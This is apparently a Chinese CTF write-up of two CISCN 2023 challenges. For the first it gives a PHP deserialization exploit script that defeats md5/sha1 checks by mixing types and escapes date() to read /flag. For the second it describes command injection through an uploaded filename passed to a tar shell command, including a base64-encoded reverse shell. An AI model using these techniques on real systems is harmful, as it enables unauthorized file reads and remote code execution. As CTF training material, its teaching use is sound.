[CISCN 2023 华北]ez_date

题目给的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}

unserialize(base64_decode($_GET['code']));

image-20230719200322956

这里的话不给使用数组进行绕过 经过本地测试

image-20230719200414990

可以使用数字型字符型进行绕过

image-20230719201900384

剩下的关键点就是这个如何绕过这个date函数了

因为这个正则匹配的话是没过滤字母啥的 所以只要不使用奇奇怪怪的东西就不会被正则到

image-20230719202055816

image-20230719202109278

将字母转义后 就可以输出正常的字母了

最后的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
//注意date函数可以进行转义 把/f\l\a\g转化为/flag
$content=date($this->file);
//uniqid函数用于生成标识
$uuid=uniqid().'.txt';
//文件写入操作 把content作为内容写入的uuid中
file_put_contents($uuid,$content);
//正则匹配替换 把uuid中的内容进行替换 赋给data
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
//输出data的内容即\flag
echo file_get_contents($data);
}
else{
die();
}
}
}

// unserialize(base64_decode($_GET['code']));
$a = new date();
$a -> a = 1;
$a -> b = '1';
$a -> file = "/f\l\a\g";
echo(base64_encode(serialize(($a))))
?>

image-20230719202258630

总结

  1. 就是不使用数组 使用数字和字符来绕过md5sha1
  2. 就是使用转义可以避免date函数识别错误

[CISCN 2023 华北]pysym

这里给了个附件 其中关键的核心代码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'

links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)

这里解释了一下上面创建文件新路径的代码

image-20230719203928179

image-20230719204806115

做题多的师傅一下子可能就会想到这里可能存在这个命令的同时执行

因为这个savepath最后的话是这个filename,所以说我们就可以控制这个savepath了 不能控制这个directory 的原因是因为这个的话上传路径我们不知道 生成的随机数也不可控

image-20230719205333200

经过本地测试是能成功执行的 但是换到题目上的时候就没有回显 于是考虑数据外带一下(弹个shell方便一点)

考虑到弹shell有些符号是不给使用的 于是就尝试进行base64编码一下

image-20230719210420750

这样在自己的服务器上就能收到shell了 由于我这里是公司 弹shell会被墙

所以就不搞了

总结

  • 其实考察点就是python的代码审计和这个命令执行 能否想到的这个问题
  • 现在的话也是可以想为现在的话是可以 unzip tar 这些解压命令都可以进行rce